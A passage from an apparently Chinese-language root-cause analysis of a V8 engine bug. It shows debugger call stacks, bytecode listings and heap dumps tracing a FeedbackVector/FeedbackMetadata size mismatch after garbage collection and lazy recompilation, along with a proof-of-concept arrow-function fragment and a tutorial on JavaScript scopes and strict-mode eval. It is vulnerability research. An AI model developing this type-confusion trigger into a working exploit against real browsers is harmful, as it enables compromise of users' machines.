std::Cr::__cxx_atomic_store[abi:v160000]<int>(std::Cr::__cxx_atomic_base_impl<int> volatile*, int, std::Cr::memory_order)(volatile std::Cr::__cxx_atomic_base_impl<int> * __a, int __val, std::Cr::memory_order __order) (buildtools/third_party/libc++/trunk/include/atomic:936)
std::Cr::__atomic_base<int, false>::store[abi:v160000](int, std::Cr::memory_order) volatile(volatile std::Cr::__atomic_base<int, 0> * this, int __d, std::Cr::memory_order __m) (buildtools/third_party/libc++/trunk/include/atomic:1529)
std::Cr::atomic_store_explicit[abi:v160000]<int>(std::Cr::atomic<int> volatile*, std::Cr::atomic<int>::value_type, std::Cr::memory_order)(volatile std::Cr::atomic<int> * __o, std::Cr::atomic<int>::value_type __d, std::Cr::memory_order __m) (buildtools/third_party/libc++/trunk/include/atomic:1878)
v8::base::Relaxed_Store(volatile v8::base::Atomic32 * ptr, v8::base::Atomic32 value) (src/base/atomicops.h:192)
v8::base::AsAtomicImpl<int>::Relaxed_Store<unsigned int>(unsigned int * addr, unsigned int new_value) (src/base/atomic-utils.h:110)
v8::internal::TaggedField<v8::internal::Object, 0, v8::internal::V8HeapCompressionScheme>::Relaxed_Store(v8::internal::HeapObject host, int offset, v8::internal::Object value) (src/objects/tagged-field-inl.h:152)
v8::internal::TaggedField<v8::internal::Object, 0, v8::internal::V8HeapCompressionScheme>::store(v8::internal::HeapObject host, int offset, v8::internal::Object value) (src/objects/tagged-field-inl.h:96)
libv8.so!v8::internal::TorqueGeneratedSharedFunctionInfo<v8::internal::SharedFunctionInfo, v8::internal::HeapObject>::set_outer_scope_info_or_feedback_metadata(v8::internal::TorqueGeneratedSharedFunctionInfo<v8::internal::SharedFunctionInfo, v8::internal::HeapObject> * this, v8::internal::HeapObject value, v8::internal::WriteBarrierMode mode) (out/x64.debug/gen/torque-generated/src/objects/shared-function-info-tq-inl.inc:177)
libv8.so!v8::internal::SharedFunctionInfo::set_raw_outer_scope_info_or_feedback_metadata(v8::internal::SharedFunctionInfo * this, v8::internal::HeapObject value, v8::internal::WriteBarrierMode mode) (src/objects/shared-function-info-inl.h:111)
libv8.so!v8::internal::SharedFunctionInfo::DiscardCompiledMetadata(v8::internal::Isolate*, std::Cr::function<void (v8::internal::HeapObject, v8::internal::CompressedObjectSlot, v8::internal::HeapObject)>)(v8::internal::SharedFunctionInfo * this, v8::internal::Isolate * isolate, std::Cr::function<void (v8::internal::HeapObject, v8::internal::CompressedObjectSlot, v8::internal::HeapObject)> gc_notify_updated_slot) (src/objects/shared-function-info.cc:367)
libv8.so!v8::internal::MarkCompactCollector::FlushBytecodeFromSFI(v8::internal::MarkCompactCollector * this, v8::internal::SharedFunctionInfo shared_info) (src/heap/mark-compact.cc:3167)
libv8.so!v8::internal::MarkCompactCollector::ProcessOldCodeCandidates(v8::internal::MarkCompactCollector * this) (src/heap/mark-compact.cc:3298)
libv8.so!v8::internal::MarkCompactCollector::ClearNonLiveReferences(v8::internal::MarkCompactCollector * this) (src/heap/mark-compact.cc:3049)
libv8.so!v8::internal::MarkCompactCollector::CollectGarbage(v8::internal::MarkCompactCollector * this) (src/heap/mark-compact.cc:612)
libv8.so!v8::internal::Heap::MarkCompact(v8::internal::Heap * this) (src/heap/heap.cc:2551)
libv8.so!v8::internal::Heap::PerformGarbageCollection(v8::internal::Heap * this, v8::internal::GarbageCollector collector, v8::internal::GarbageCollectionReason gc_reason, const char * collector_reason) (src/heap/heap.cc:2234)
libv8.so!v8::internal::Heap::CollectGarbage(v8::internal::Heap * this, v8::internal::AllocationSpace space, v8::internal::GarbageCollectionReason gc_reason, const v8::GCCallbackFlags gc_callback_flags) (src/heap/heap.cc:1697)
libv8.so!v8::internal::Heap::CollectAllAvailableGarbage(v8::internal::Heap * this, v8::internal::GarbageCollectionReason gc_reason) (src/heap/heap.cc:1506)
libv8.so!v8::internal::Heap::AllocateExternalBackingStore(std::Cr::function<void* (unsigned long)> const&, unsigned long)(v8::internal::Heap * this, const std::Cr::function<void *(unsigned long)> & allocate, size_t byte_length) (src/heap/heap.cc:3113)
libv8.so!v8::internal::BackingStore::Allocate(v8::internal::Isolate * isolate, size_t byte_length, v8::internal::SharedFlag shared, v8::internal::InitializedFlag initialized) (src/objects/backing-store.cc:269)

image

image

image

image

image

image

因為源碼中申請了大數組,V8被迫進行垃圾回收。回收時,將FeedbackMetadata對應的內存空間進行回收。但FeedbackVector對應的空間是不會被回收的。

  • 第二次命中硬件斷點時,對應的調用棧如下:
libv8.so!std::Cr::__cxx_atomic_store[abi:v160000]<int>(std::Cr::__cxx_atomic_base_impl<int> volatile*, int, std::Cr::memory_order)(volatile std::Cr::__cxx_atomic_base_impl<int> * __a, int __val, std::Cr::memory_order __order) (buildtools/third_party/libc++/trunk/include/atomic:936)
libv8.so!std::Cr::__atomic_base<int, false>::store[abi:v160000](int, std::Cr::memory_order) volatile(volatile std::Cr::__atomic_base<int, 0> * this, int __d, std::Cr::memory_order __m) (buildtools/third_party/libc++/trunk/include/atomic:1529)
libv8.so!std::Cr::atomic_store_explicit[abi:v160000]<int>(std::Cr::atomic<int> volatile*, std::Cr::atomic<int>::value_type, std::Cr::memory_order)(volatile std::Cr::atomic<int> * __o, std::Cr::atomic<int>::value_type __d, std::Cr::memory_order __m) (buildtools/third_party/libc++/trunk/include/atomic:1878)
libv8.so!v8::base::Release_Store(volatile v8::base::Atomic32 * ptr, v8::base::Atomic32 value) (src/base/atomicops.h:207)
libv8.so!v8::base::AsAtomicImpl<int>::Release_Store<unsigned int>(unsigned int * addr, unsigned int new_value) (src/base/atomic-utils.h:102)
libv8.so!v8::internal::TaggedField<v8::internal::FeedbackMetadata, 12, v8::internal::V8HeapCompressionScheme>::Release_Store(v8::internal::HeapObject host, v8::internal::FeedbackMetadata value) (src/objects/tagged-field-inl.h:186)
libv8.so!v8::internal::SharedFunctionInfo::set_feedback_metadata(v8::internal::SharedFunctionInfo * this, v8::internal::FeedbackMetadata value, v8::internal::WriteBarrierMode mode) (src/objects/shared-function-info-inl.h:489)
libv8.so!v8::internal::(anonymous namespace)::InstallUnoptimizedCode<v8::internal::Isolate>(v8::internal::UnoptimizedCompilationInfo * compilation_info, v8::internal::Handle<v8::internal::SharedFunctionInfo> shared_info, v8::internal::Isolate * isolate) (src/codegen/compiler.cc:691)
libv8.so!v8::internal::(anonymous namespace)::FinalizeSingleUnoptimizedCompilationJob<v8::internal::Isolate>(v8::internal::UnoptimizedCompilationJob * job, v8::internal::Handle<v8::internal::SharedFunctionInfo> shared_info, v8::internal::Isolate * isolate, v8::internal::FinalizeUnoptimizedCompilationDataList * finalize_unoptimized_compilation_data_list) (src/codegen/compiler.cc:756)
libv8.so!v8::internal::(anonymous namespace)::IterativelyExecuteAndFinalizeUnoptimizedCompilationJobs<v8::internal::Isolate>(v8::internal::Isolate * isolate, v8::internal::Handle<v8::internal::SharedFunctionInfo> outer_shared_info, v8::internal::Handle<v8::internal::Script> script, v8::internal::ParseInfo * parse_info, v8::internal::AccountingAllocator * allocator, v8::internal::IsCompiledScope * is_compiled_scope, v8::internal::FinalizeUnoptimizedCompilationDataList * finalize_unoptimized_compilation_data_list, v8::internal::DeferredFinalizationJobDataList * jobs_to_retry_finalization_on_main_thread) (src/codegen/compiler.cc:848)
libv8.so!v8::internal::Compiler::Compile(v8::internal::Isolate * isolate, v8::internal::Handle<v8::internal::SharedFunctionInfo> shared_info, v8::internal::Compiler::ClearExceptionFlag flag, v8::internal::IsCompiledScope * is_compiled_scope, v8::internal::CreateSourcePositions create_source_positions_flag) (src/codegen/compiler.cc:2518)
libv8.so!v8::internal::Compiler::Compile(v8::internal::Isolate * isolate, v8::internal::Handle<v8::internal::JSFunction> function, v8::internal::Compiler::ClearExceptionFlag flag, v8::internal::IsCompiledScope * is_compiled_scope) (src/codegen/compiler.cc:2556)
libv8.so!v8::internal::__RT_impl_Runtime_CompileLazy(v8::internal::RuntimeArguments args, v8::internal::Isolate * isolate) (src/runtime/runtime-compiler.cc:64)
libv8.so!v8::internal::Runtime_CompileLazy(int args_length, v8::internal::Address * args_object, v8::internal::Isolate * isolate) (src/runtime/runtime-compiler.cc:45)
[Unknown/Just-In-Time compiled code] (Unknown Source:0)

image

image

我們可以看出,V8為該函數進行了重編譯,并重新設置了它的FeedbackMetadata。此時,我們再打印FeedbackVector和FeedbackMetadata的調試信息,就會發現它的不一致:

0x37060025af0d: [FeedbackVector] in OldSpace
 - map: 0x37060000273d <Map(FEEDBACK_VECTOR_TYPE)>
 - length: 11 [!]
 - shared function info: 0x37060025a505 <SharedFunctionInfo>
 - no optimized code
 - tiering state: TieringState::kNone
 - maybe has maglev code: 0
 - maybe has turbofan code: 0
 - invocation count: 4
 - profiler ticks: 0
 - closure feedback cell array: 0x37060025a8d9: [ClosureFeedbackCellArray] in OldSpace
 - map: 0x370600002981 <Map(CLOSURE_FEEDBACK_CELL_ARRAY_TYPE)>
 - length: 2
           0: 0x37060025a8e9 <FeedbackCell[many closures]>
           1: 0x37060025a8f5 <FeedbackCell[many closures]>

 - slot #0 Literal  {
     [0]: 0x37060025b091 <AllocationSite>
  }
 - slot #1 LoadGlobalNotInsideTypeof MONOMORPHIC
   [weak] 0x37060025442d <PropertyCell name=0x370600006005 <String[4]: #eval> value=0x37060024af25 <JSFunction eval (sfi = 0x37060021dca1)>> {
     [1]: [weak] 0x37060025442d <PropertyCell name=0x370600006005 <String[4]: #eval> value=0x37060024af25 <JSFunction eval (sfi = 0x37060021dca1)>>
     [2]: 0x3706000073e5 <Symbol: (uninitialized_symbol)>
  }
 - slot #3 Call MONOMORPHIC {
     [3]: [weak] 0x37060024af25 <JSFunction eval (sfi = 0x37060021dca1)>
     [4]: 12
  }
 - slot #5 DefineNamedOwn MONOMORPHIC {
     [5]: [weak] 0x37060025a929 <Map[16](HOLEY_ELEMENTS)>
     [6]: 3604480
  }
 - slot #7 SetNamedStrict MONOMORPHIC
   [cleared]: StoreHandler(<unexpected>)(0x3706000073e5 <Symbol: (uninitialized_symbol)>) {
     [7]: [cleared]
     [8]: 0x3706000073e5 <Symbol: (uninitialized_symbol)>
  }
0x37060025a505: [SharedFunctionInfo] in OldSpace
 - map: 0x370600002625 <Map[40](SHARED_FUNCTION_INFO_TYPE)>
 - name: 0x370600002529 <String[0]: #>
 - inferred name: 0x370600002529 <String[0]: #>
 - kind: ArrowFunction
 - syntax kind: AnonymousExpression
 - function_map_index: 205
 - formal_parameter_count: 1
 - expected_nof_properties: 2
 - language_mode: sloppy
 - data: 0x37060025c491 <BytecodeArray[103]>
 - code (from data): 0x37060020b5b5 <CodeDataContainer BUILTIN InterpreterEntryTrampoline>
 - source code: (a = class b3 {
            [({ c: eval() } ? 0 : (aa = 1))]
        }) => { let z = 0xdeadbeef; }
 - script: 0x37060025a2f5 <Script>
 - function token position: 472
 - start position: 472
 - end position: 570
 - no debug info
 - scope info: 0x37060025c2b5 <ScopeInfo FUNCTION_SCOPE>
 - outer scope info: 0x37060025a40d <ScopeInfo BLOCK_SCOPE>
 - length: 0
 - feedback_metadata: 0x37060025c51d: [FeedbackMetadata] in OldSpace
 - map: 0x3706000029a9 <Map(FEEDBACK_METADATA_TYPE)>
 - slot_count: 9 [!]
 - create_closure_slot_count: 2
 Slot #0 Literal
 Slot #1 LoadGlobalNotInsideTypeof
 Slot #3 Call
 Slot #5 DefineNamedOwn
 Slot #7 SetNamedStrict

length域為11,slot_count域為9。這正是修改后PoC2崩潰時Check的報錯信息。

反思總結

此時,我們想起兩次lambda表達式實例函數的字節碼不同的問題,再去對兩個字節碼進行觀察:

[generated bytecode for function:  (0x37060025a505 <SharedFunctionInfo>)]
Bytecode length: 105
Parameter count 2
Register count 10
Frame size 80
Bytecode age: 0
         0x37060025a78a @    0 : 83 00 01          CreateFunctionContext [0], [1]
         0x37060025a78d @    3 : 1a f9             PushContext r1
         0x37060025a78f @    5 : 10                LdaTheHole
         0x37060025a790 @    6 : 25 02             StaCurrentContextSlot [2]
         0x37060025a792 @    8 : 0b 03             Ldar a0
         0x37060025a794 @   10 : 9d 56             JumpIfNotUndefined [86] (0x37060025a7ea @ 96)
         0x37060025a796 @   12 : 81 01             CreateBlockContext [1]
         0x37060025a798 @   14 : 1a f8             PushContext r2
         0x37060025a79a @   16 : 10                LdaTheHole
         0x37060025a79b @   17 : 25 02             StaCurrentContextSlot [2]
         0x37060025a79d @   19 : 10                LdaTheHole
         0x37060025a79e @   20 : 25 03             StaCurrentContextSlot [3]
         0x37060025a7a0 @   22 : 10                LdaTheHole
         0x37060025a7a1 @   23 : be                Star6
         0x37060025a7a2 @   24 : 80 03 00 02       CreateClosure [3], [0], #2
         0x37060025a7a6 @   28 : c1                Star3
         0x37060025a7a7 @   29 : 13 02             LdaConstant [2]
         0x37060025a7a9 @   31 : c0                Star4
         0x37060025a7aa @   32 : 7c 04 00 29       CreateObjectLiteral [4], [0], #41
         0x37060025a7ae @   36 : bc                Star8
         0x37060025a7af @   37 : 21 05 01          LdaGlobal [5], [1]**
         0x37060025a7b2 @   40 : bb                Star9
         0x37060025a7b3 @   41 : 61 f1 03          CallUndefinedReceiver0 r9, [3]**
         0x37060025a7b6 @   44 : 33 f2 06 05       DefineNamedOwnProperty r8, [6], [5]**
         0x37060025a7ba @   48 : 19 f7 f5          Mov r3, r5
         0x37060025a7bd @   51 : 0b f2             Ldar r8
         0x37060025a7bf @   53 : 97 05             JumpIfToBooleanFalse [5] (0x37060025a7c4 @ 58)
         0x37060025a7c1 @   55 : 0c                LdaZero
         0x37060025a7c2 @   56 : 8a 0a             Jump [10] (0x37060025a7cc @ 66)
         0x37060025a7c4 @   58 : 0d 01             LdaSmi [1]
         0x37060025a7c6 @   60 : bc                Star8
         0x37060025a7c7 @   61 : 23 07 07          StaGlobal [7], [7]**
         0x37060025a7ca @   64 : 0b f2             Ldar r8
         0x37060025a7cc @   66 : 73 f3             ToName r7
         0x37060025a7ce @   68 : 0b f3             Ldar r7
         0x37060025a7d0 @   70 : 25 02             StaCurrentContextSlot [2]
         0x37060025a7d2 @   72 : 65 29 00 f6 04    CallRuntime [DefineClass], r4-r7
         0x37060025a7d7 @   77 : 0b f7             Ldar r3
         0x37060025a7d9 @   79 : 25 03             StaCurrentContextSlot [3]
         0x37060025a7db @   81 : 80 08 01 02       CreateClosure [8], [1], #2
         0x37060025a7df @   85 : c0                Star4
         0x37060025a7e0 @   86 : 32 f7 09 09       SetNamedProperty r3, [9], [9]**
         0x37060025a7e4 @   90 : 1b f8             PopContext r2
         0x37060025a7e6 @   92 : 0b f7             Ldar r3
         0x37060025a7e8 @   94 : 8a 04             Jump [4] (0x37060025a7ec @ 98)
         0x37060025a7ea @   96 : 0b 03             Ldar a0
         0x37060025a7ec @   98 : 25 02             StaCurrentContextSlot [2]
         0x37060025a7ee @  100 : 13 0a             LdaConstant [10]
         0x37060025a7f0 @  102 : c4                Star0
         0x37060025a7f1 @  103 : 0e                LdaUndefined
         0x37060025a7f2 @  104 : a9                Return
Constant pool (size = 11)
0x37060025a729: [FixedArray] in OldSpace
 - map: 0x370600002231 <Map(FIXED_ARRAY_TYPE)>
 - length: 11
           0: 0x37060025a429 <ScopeInfo FUNCTION_SCOPE>
           1: 0x37060025a459 <ScopeInfo CLASS_SCOPE>
           2: 0x37060025a705 <FixedArray[7]>
           3: 0x37060025a611 <SharedFunctionInfo b3>
           4: 0x37060025a671 <ObjectBoilerplateDescription[3]>
           5: 0x370600006005 <String[4]: #eval>
           6: 0x3706000040a5 <String[1]: #c>
           7: 0x37060025a359 <String[2]: #aa>
           8: 0x37060025a649 <SharedFunctionInfo <instance_members_initializer>>
           9: 0x3706000071e5 <Symbol: (class_fields_symbol)>
          10: 0x37060025a75d <HeapNumber 3735928559.0>
Handler Table (size = 0)
Source Position Table (size = 0)

打兩個星號的地方都代表Feedback Slot的編號。根據第一次運行的字節碼計算,FeedbackVector的長度正好為11。

[generated bytecode for function:  (0x37060025a505 <SharedFunctionInfo>)]
Bytecode length: 103
Parameter count 2
Register count 10
Frame size 80
Bytecode age: 0
         0x37060025c4b2 @    0 : 83 00 02          CreateFunctionContext [0], [2]
         0x37060025c4b5 @    3 : 1a f9             PushContext r1
         0x37060025c4b7 @    5 : 10                LdaTheHole
         0x37060025c4b8 @    6 : 25 03             StaCurrentContextSlot [3]
         0x37060025c4ba @    8 : 0b 03             Ldar a0
         0x37060025c4bc @   10 : 9d 54             JumpIfNotUndefined [84] (0x37060025c510 @ 94)
         0x37060025c4be @   12 : 81 01             CreateBlockContext [1]
         0x37060025c4c0 @   14 : 1a f8             PushContext r2
         0x37060025c4c2 @   16 : 10                LdaTheHole
         0x37060025c4c3 @   17 : 25 02             StaCurrentContextSlot [2]
         0x37060025c4c5 @   19 : 10                LdaTheHole
         0x37060025c4c6 @   20 : 25 03             StaCurrentContextSlot [3]
         0x37060025c4c8 @   22 : 10                LdaTheHole
         0x37060025c4c9 @   23 : be                Star6
         0x37060025c4ca @   24 : 80 03 00 02       CreateClosure [3], [0], #2
         0x37060025c4ce @   28 : c1                Star3
         0x37060025c4cf @   29 : 13 02             LdaConstant [2]
         0x37060025c4d1 @   31 : c0                Star4
         0x37060025c4d2 @   32 : 7c 04 00 29       CreateObjectLiteral [4], [0], #41
         0x37060025c4d6 @   36 : bc                Star8
         0x37060025c4d7 @   37 : 28 05 01 02       LdaLookupGlobalSlot [5], [1]**, [2]
         0x37060025c4db @   41 : bb                Star9
         0x37060025c4dc @   42 : 61 f1 03          CallUndefinedReceiver0 r9, [3]**
         0x37060025c4df @   45 : 33 f2 06 05       DefineNamedOwnProperty r8, [6], [5]**
         0x37060025c4e3 @   49 : 19 f7 f5          Mov r3, r5
         0x37060025c4e6 @   52 : 0b f2             Ldar r8
         0x37060025c4e8 @   54 : 97 05             JumpIfToBooleanFalse [5] (0x37060025c4ed @ 59)
         0x37060025c4ea @   56 : 0c                LdaZero
         0x37060025c4eb @   57 : 8a 07             Jump [7] (0x37060025c4f2 @ 64)
         0x37060025c4ed @   59 : 0d 01             LdaSmi [1]
         0x37060025c4ef @   61 : 2c 07 01          StaLookupSlot [7], #1
         0x37060025c4f2 @   64 : 73 f3             ToName r7
         0x37060025c4f4 @   66 : 0b f3             Ldar r7
         0x37060025c4f6 @   68 : 25 02             StaCurrentContextSlot [2]
         0x37060025c4f8 @   70 : 65 29 00 f6 04    CallRuntime [DefineClass], r4-r7
         0x37060025c4fd @   75 : 0b f7             Ldar r3
         0x37060025c4ff @   77 : 25 03             StaCurrentContextSlot [3]
         0x37060025c501 @   79 : 80 08 01 02       CreateClosure [8], [1], #2
         0x37060025c505 @   83 : c0                Star4
         0x37060025c506 @   84 : 32 f7 09 07       SetNamedProperty r3, [9], [7]**
         0x37060025c50a @   88 : 1b f8             PopContext r2
         0x37060025c50c @   90 : 0b f7             Ldar r3
         0x37060025c50e @   92 : 8a 04             Jump [4] (0x37060025c512 @ 96)
         0x37060025c510 @   94 : 0b 03             Ldar a0
         0x37060025c512 @   96 : 25 03             StaCurrentContextSlot [3]
         0x37060025c514 @   98 : 13 0a             LdaConstant [10]
         0x37060025c516 @  100 : c4                Star0
         0x37060025c517 @  101 : 0e                LdaUndefined
         0x37060025c518 @  102 : a9                Return
Constant pool (size = 11)
0x37060025c451: [FixedArray] in OldSpace
 - map: 0x370600002231 <Map(FIXED_ARRAY_TYPE)>
 - length: 11
           0: 0x37060025c2b5 <ScopeInfo FUNCTION_SCOPE>
           1: 0x37060025c2e5 <ScopeInfo CLASS_SCOPE>
           2: 0x37060025c42d <FixedArray[7]>
           3: 0x37060025c339 <SharedFunctionInfo b3>
           4: 0x37060025c399 <ObjectBoilerplateDescription[3]>
           5: 0x370600006005 <String[4]: #eval>
           6: 0x3706000040a5 <String[1]: #c>
           7: 0x37060025c25d <String[2]: #aa>
           8: 0x37060025c371 <SharedFunctionInfo <instance_members_initializer>>
           9: 0x3706000071e5 <Symbol: (class_fields_symbol)>
          10: 0x37060025c485 <HeapNumber 3735928559.0>
Handler Table (size = 0)
Source Position Table (size = 0)

根據第二次運行的字節碼計算,FeedbackVector的長度為9。這與上述的11出現了差異。

在此處,盡管我們還不確定Root Cause的位置,但我們可以猜想:因為Root Cause,導致重編譯時對FeedbackMetadata的slot_count計算錯誤。當我們巧妙構造lambda表達式,使得首次編譯和重編譯時FeedbackMetadata的slot_count和FeedbackVector的length相等時,就有可能發生類型混淆。

利用After Patch版本的V8引擎運行修改后PoC3的情況印證了這一情況,兩次編譯產生的字節碼全部相同,除了ASLR之外,未產生Feedback上的差異。

預備知識2

JavaScript執行上下文(Execution Context)

執行上下文(也被稱為作用域)的定義

An execution context is a specification device that is used to track the runtime evaluation of code by an ECMAScript implementation.[17]

JavaScript的執行上下文是一種具有規范標準的數據結構。它用于跟蹤 ECMAScript 實現對代碼的運行時評估。在V8引擎的具體實現中,它也被稱為Scope(作用域)。

作用域的組成部分

image

Execution Context主要包含四部分:

  • Variable Environment(變量環境):存放由var聲明的變量。
  • Lexical Environment(詞法環境):存放由let聲明的變量。
  • Outer Scope:指向當前作用域的外層作用域。
  • This對象。

作用域的類型

  • Global scope:全局作用域
  • Function scope:函數作用域
  • Block scope:塊級作用域

一些例子

  1. Global scope與Variable Environment:

image

image

  1. Block scope與Lexical Environment:

image

image

  1. Block scope與Lexical Environment:

image

image

作用域鏈(Scope Chain)

變量查找

在下面的例子中,變量查找的結果可能會讓人感到困惑:

image

當執行isApple函數時,我們有三個堆疊的執行上下文:

  • 全局執行上下文
  • isBanana函數執行上下文
  • isApple函數執行上下文

接下來,引擎開始查找apple變量。直覺上講,引擎應該在執行上下文堆棧中從上到下的依次分析查找。控制臺會輸出banana,因為它在isBanana函數的執行上下文中找到了apple變量。

但與之相反,控制臺實際上輸出了在全局執行上下文中賦值的apple。為什么呢?

image

外部作用域(Outer Scope)

我們的鏈式屬性查找示意圖中遺漏了執行上下文中的一個關鍵數據,即外部作用域(Outer Scope)。

外部作用域指示JavaScript引擎如何進行鏈式屬性查找,這條鏈也稱為作用域鏈(Scope Chain)。

如果我們查看isApple函數的執行上下文,它的外部指向全局執行上下文。

image

在這種情況下,JavaScript引擎在isApple的執行上下文中找不到apple變量后,就立即在全局執行上下文中查找該變量。

但這并沒有真正解決疑惑。Outer Scope的概念引出了另一個問題。為什么isApple的執行上下文的Outer Scope指向全局上下文而不是isBanana?畢竟,isApple函數是在isBanana內部調用的。作用域鏈不應該遵循調用堆棧嗎?

與直覺相反,JavaScript的作用域鏈是由詞法作用域(lexical scope)定義的,從不受調用堆棧的影響。換種說法來講,作用域鏈是在編譯步驟定義的,而不是在執行步驟定義的。

為了進一步回答這個問題,我們需要解開JavaScript如何設計詞法作用域的神秘面紗。

基于詞法的作用域間層次關系(Lexical Scope)

JavaScript引擎有一條規則:詞法作用域由函數所在的位置定義。讓我們從詞法作用域的角度來看同一個例子。

image

在這種情況下,isAppleisBanana函數是在全局范圍內聲明的。因此,它們的外部作用域是全局作用域。當JavaScript引擎編譯腳本時,兩個函數的執行上下文都指向全局執行上下文。

為了更好地理解這個特性,讓我們看另一個例子。我們不是在全局范圍內聲明函數,而是在前一個函數的內部定義后一個函數。

image

在這種情況下,

  • 函數priceA是在全局作用域內定義的;
  • 函數priceB是在priceA作用域中定義的;
  • 函數priceC是在priceB作用域中定義的。

基于詞法范圍,我們可以推導每個執行上下文的外部作用域:

  • 在priceC執行上下文中,外部作用域指向priceB執行上下文;
  • 在priceB執行上下文中,外部作用域指向priceA執行上下文;
  • 在priceA執行上下文中,外部作用域指向全局執行上下文。

image

最后的打印結果為30。

this與作用域間的關系

this是什么?

image

在本例中,getPrice輸出“10”,getThis輸出apple對象。因此,我們找到了答案:誰調用該方法,this就是誰。

雖然Outer Scope是在編譯期決定的,但this是在運行時確定的。

當一個函數被聲明時,它的默認this值是window。當你不帶receiver的執行一個函數時,調用該函數的是window對象。因此,此時的this是window對象。

我們可以通過更改調用者來重置this。

image

在最后一行中,我們使用call函數將this更改為banana對象。當JavaScript引擎執行這一行時,banana對象調用getPrice函數。因此,this是banana,控制臺打印“20”。

把this轉化為作用域的概念

雖然this和作用域無關,但我們可以很容易地將其轉換為Scope的概念。下面展示了使用this的一個典型例子。

image

誰調用了discount函數?乍一看,它看起來像是getPrice調用的。然而,控制臺打印了window對象。

到目前為止,我們知道函數(或方法)要么由對象或window調用,而不是由函數調用。在這種情況下,discount函數是由window調用的。

這是JavaScript的一個設計缺陷——this對象不能從外部作用域繼承,因為它從來都不是作用域概念的一部分。我們可以通過將this分配給局部變量來快速解決此問題。

image

從ES6標準開始,我們有箭頭函數(lambda表達式)來避免使用多余的self。箭頭函數不會將this轉換為作用域的概念。相反,它只是不創建執行上下文,而是與上級執行上下文共享相同的this。

image

JavaScript的嚴格(Strict)模式與松散(Sloppy)模式

ECMAScript 5的嚴格模式是采用具有限制性 JavaScript 變體的一種方式,從而使代碼隱式地脫離“馬虎模式/稀松模式/懶散模式“(sloppy)模式。嚴格模式不僅僅是一個子集:它的產生是為了形成與正常代碼不同的語義。不支持嚴格模式與支持嚴格模式的瀏覽器在執行嚴格模式代碼時會采用不同行為。所以在沒有對運行環境展開特性測試來驗證對于嚴格模式相關方面支持的情況下,就算采用了嚴格模式也不一定會取得預期效果。嚴格模式代碼和非嚴格模式代碼可以共存,因此項目腳本可以漸進式地采用嚴格模式。嚴格模式對正常的 JavaScript 語義做了一些更改。

  1. 嚴格模式通過拋出錯誤來消除了一些原有靜默錯誤
  2. 嚴格模式修復了一些導致 JavaScript 引擎難以執行優化的缺陷:有時候,相同的代碼,嚴格模式可以比非嚴格模式下運行得更快
  3. 嚴格模式禁用了在 ECMAScript 的未來版本中可能會定義的一些語法。

簡單例子:將過失錯誤轉成異常

在嚴格模式下,某些先前被接受的過失錯誤將會被認為是異常。JavaScript 被設計為能使新人開發者更易于上手,所以有時候會給本來錯誤操作賦予新的不報錯誤的語義 (non-error semantics). 有時候這可以解決當前的問題,但有時候卻會給以后留下更大的問題。嚴格模式則把這些失誤當成錯誤,以便可以發現并立即將其改正。

例如,嚴格模式下無法再意外創建全局變量。在普通的 JavaScript 里面給一個錯誤命名的變量名賦值會使全局對象新增一個屬性并繼續“工作”(盡管將來可能會失敗:在現代的 JavaScript 中有可能)。嚴格模式中意外創建全局變量被拋出錯誤替代:

"use strict";
                       // 假如有一個全局變量叫做 mistypedVariable
mistypedVaraible = 17; // 因為變量名拼寫錯誤
                       // 這一行代碼就會拋出 ReferenceError

嚴格模式對eval的約束

嚴格模式下的 eval 不再為上層作用域 (surrounding scope,注:包圍 eval 代碼塊的范圍,v8稱為outer scope) 引入新變量. 在正常模式下,代碼 eval("var x;") 會給上層函數 (surrounding function) 或者全局引入一個新的變量 x . 這意味著,一般情況下,在一個包含 eval 調用的函數內所有沒有引用到參數或者局部變量的名稱都必須在運行時才能被映射到特定的定義 (因為 eval 可能引入的新變量會覆蓋它的外層變量). 在嚴格模式下 eval 僅僅為被運行的代碼創建變量,所以 eval 不會使得名稱映射到外部變量或者其他局部變量:

var x = 17;
var evalX = eval("'use strict'; var x = 42; x");
console.assert(x === 17);
console.assert(evalX === 42);

相應地,如果函數 eval 被在嚴格模式下的eval(...)以表達式的形式調用時,其代碼會被當做嚴格模式下的代碼執行。當然也可以在代碼中顯式開啟嚴格模式,但這樣做并不是必須的。

function strict1(str) {
  "use strict";
  return eval(str); // str 中的代碼在嚴格模式下運行
}
function strict2(f, str) {
  "use strict";
  return f(str); // 沒有直接調用 eval(...): 當且僅當 str 中的代碼開啟了嚴格模式時
                 // 才會在嚴格模式下運行
}
function nonstrict(str) {
  return eval(str); // 當且僅當 str 中的代碼開啟了"use strict",str 中的代碼才會在嚴格模式下運行
}

strict1("'Strict mode code!'");
strict1("'use strict'; 'Strict mode code!'");
strict2(eval, "'Non-strict code.'");
strict2(eval, "'use strict'; 'Strict mode code!'");
nonstrict("'Non-strict code.'");
nonstrict("'use strict'; 'Strict mode code!'");

因此,在 eval 執行的嚴格模式代碼下,變量的行為與嚴格模式下非 eval 執行的代碼中的變量相同。

class與嚴格模式的關系

類聲明體在嚴格模式下運行。[18]

第二次分析:PoC2正向問題定位:Root Cause

lambda表達式實例自身及其兩個內部閉包

lambda表達式實例JSFunction的調試打印

采用修改后的PoC2繼續進行調試,觀察崩潰時lambda表達式實例JSFunction數據結構的調試打印:

0x6e000282381: [Function]
 - map: 0x06e000244361 <Map[28](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x06e000244215 <JSFunction (sfi = 0x6e00020adf1)>
 - elements: 0x06e000002259 <FixedArray[0]> [HOLEY_ELEMENTS]
 - function prototype: <no-prototype-slot>
 - shared_info: 0x06e00025a505 <SharedFunctionInfo>
 - name: 0x06e000002529 <String[0]: #>
 - builtin: CompileLazy
 - formal_parameter_count: 1
 - kind: ArrowFunction
 - context: 0x06e00028236d <BlockContext[3]>
 - code: 0x06e00020b7e5 <CodeDataContainer BUILTIN CompileLazy>
 - interpreted
 - bytecode: 0x06e00025c449 <BytecodeArray[103]>
 - source code: (a = class b3 {
            [({ c: eval() } ? 0 : (aa = 1))]
        }) => { let z = 0xdeadbeef; }
 - properties: 0x06e000002259 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x6e000006559: [String] in ReadOnlySpace: #length: 0x06e0002042fd <AccessorInfo name= 0x06e000006559 <String[6]: #length>, data= 0x06e0000023e1 <undefined>> (const accessor descriptor), location: descriptor
    0x6e0000067a1: [String] in ReadOnlySpace: #name: 0x06e0002042e5 <AccessorInfo name= 0x06e0000067a1 <String[4]: #name>, data= 0x06e0000023e1 <undefined>> (const accessor descriptor), location: descriptor
 }
 - feedback vector: 0x6e00025af31: [FeedbackVector] in OldSpace
